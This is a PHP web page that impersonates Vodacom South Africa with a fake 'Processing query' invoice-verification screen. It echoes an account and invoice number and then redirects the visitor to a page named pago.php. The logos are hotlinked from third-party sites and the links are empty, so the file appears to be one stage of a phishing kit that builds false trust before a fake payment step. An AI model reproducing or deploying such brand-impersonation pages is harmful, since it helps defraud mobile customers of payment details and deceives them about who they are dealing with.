<?php
// loading.php - Vodacom South Africa | Processing query
session_start();

$account = $_GET['account'] ?? $_SESSION['account'] ?? '';
$invoice = $_GET['invoice'] ?? $_SESSION['invoice'] ?? '';

// Redirect to pago.php after 8 seconds
header("Refresh: 8; url=pago.php?account=" . urlencode($account) . "&invoice=" . urlencode($invoice));
?>
<!DOCTYPE html>
<html lang="en-ZA">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Processing query | Vodacom South Africa</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <meta http-equiv="refresh" content="8;url=pago.php?account=<?php echo urlencode($account); ?>&invoice=<?php echo urlencode($invoice); ?>">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            background-color: #F5F7FB;
            color: #1A1A1A;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background-color: #FFFFFF;
            border-bottom: 1px solid #E6EAF2;
            padding: 0.75rem 0;
        }

        .header-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .logo {
            height: 45px;
            width: auto;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
        }

        .nav-links a {
            color: #4A4A4A;
            text-decoration: none;
            font-size: 0.9rem;
            font-weight: 500;
        }

        .nav-links a:hover {
            color: #E60000;
        }

        .container {
            max-width: 500px;
            width: 100%;
            margin: 3rem auto;
            padding: 0 1.5rem;
            flex: 1;
            display: flex;
            align-items: center;
        }

        .loading-card {
            background-color: #FFFFFF;
            border: 1px solid #E6EAF2;
            padding: 3rem;
            width: 100%;
            text-align: center;
        }

        .logo-container {
            margin-bottom: 2.5rem;
        }

        .loading-logo {
            height: 70px;
            width: auto;
            animation: gentleBounce 2s infinite ease-in-out;
        }

        @keyframes gentleBounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-8px); }
        }

        .loading-spinner {
            margin: 2rem 0;
        }

        .spinner {
            width: 50px;
            height: 50px;
            border: 2px solid #E6EAF2;
            border-top: 2px solid #E60000;
            border-radius: 50%;
            margin: 0 auto;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-card h2 {
            font-size: 1.5rem;
            font-weight: 600;
            color: #1A1A1A;
            margin-bottom: 1rem;
        }

        .loading-card p {
            color: #6B7A99;
            font-size: 0.95rem;
            margin-bottom: 2rem;
            line-height: 1.6;
        }

        .progress-container {
            width: 100%;
            height: 4px;
            background-color: #E6EAF2;
            margin: 2rem 0;
        }

        .progress-bar {
            height: 4px;
            background-color: #E60000;
            width: 0%;
            animation: progress 8s linear forwards;
        }

        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }

        .info-box {
            background-color: #F5F7FB;
            border: 1px solid #E6EAF2;
            padding: 1.25rem;
            text-align: left;
            margin-top: 1.5rem;
        }

        .info-row {
            display: flex;
            justify-content: space-between;
            padding: 0.5rem 0;
            border-bottom: 1px solid #E6EAF2;
            font-size: 0.9rem;
        }

        .info-row:last-child {
            border-bottom: none;
        }

        .info-label {
            color: #6B7A99;
        }

        .info-value {
            font-weight: 600;
            color: #1A1A1A;
        }

        .redirect-message {
            margin-top: 1.5rem;
            font-size: 0.85rem;
            color: #6B7A99;
        }

        .redirect-message i {
            color: #E60000;
            margin-right: 0.5rem;
        }

        .footer {
            background-color: #FFFFFF;
            border-top: 1px solid #E6EAF2;
            padding: 2rem 0;
            margin-top: auto;
        }

        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 2rem;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }

        .footer-logo {
            height: 30px;
            width: auto;
        }

        .footer-links {
            display: flex;
            gap: 2rem;
            font-size: 0.8rem;
        }

        .footer-links a {
            color: #6B7A99;
            text-decoration: none;
        }

        .footer-links a:hover {
            color: #E60000;
        }

        .footer-copyright {
            font-size: 0.75rem;
            color: #6B7A99;
        }

        @media (max-width: 480px) {
            .loading-card {
                padding: 2rem;
            }
            .loading-logo {
                height: 50px;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-container">
            <img src="https://download.logo.wine/logo/Vodacom/Vodacom-Logo.wine.png" alt="Vodacom South Africa" class="logo">
            <div class="nav-links">
                <a href="#">Personal</a>
                <a href="#">Business</a>
                <a href="#">Help</a>
            </div>
        </div>
    </header>

    <div class="container">
        <div class="loading-card">
            <div class="logo-container">
                <img src="https://companieslogo.com/img/orig/VOD.JO-b42c4c1b.png?t=1720244494" alt="Vodacom" class="loading-logo">
            </div>

            <div class="loading-spinner">
                <div class="spinner"></div>
            </div>

            <h2>Processing query</h2>
            <p>We are verifying your invoice details. This will take just a moment.</p>

            <div class="progress-container">
                <div class="progress-bar"></div>
            </div>

            <div class="info-box">
                <div class="info-row">
                    <span class="info-label">Account number</span>
                    <span class="info-value"><?php echo htmlspecialchars($account); ?></span>
                </div>
                <div class="info-row">
                    <span class="info-label">Invoice</span>
                    <span class="info-value"><?php echo htmlspecialchars($invoice ?: 'Not specified'); ?></span>
                </div>
                <div class="info-row">
                    <span class="info-label">Date</span>
                    <span class="info-value"><?php echo date('d/m/Y'); ?></span>
                </div>
            </div>

            <div class="redirect-message">
                <i class="fas fa-clock"></i>
                You will be redirected automatically...
            </div>
        </div>
    </div>

    <footer class="footer">
        <div class="footer-container">
            <img src="https://www.at-mobilfunk.com/wp-content/uploads/2020/02/vodacom-logo.png" alt="Vodacom" class="footer-logo">
            <div class="footer-links">
                <a href="#">Terms and conditions</a>
                <a href="#">Privacy policy</a>
                <a href="#">Help centre</a>
                <a href="#">Contact</a>
            </div>
            <div class="footer-copyright">© 2026 Vodacom South Africa. All rights reserved.</div>
        </div>
    </footer>

    <script>
        setTimeout(function() {
            window.location.href = 'pago.php?account=<?php echo urlencode($account); ?>&invoice=<?php echo urlencode($invoice); ?>';
        }, 8000);
    </script>
</body>
</html>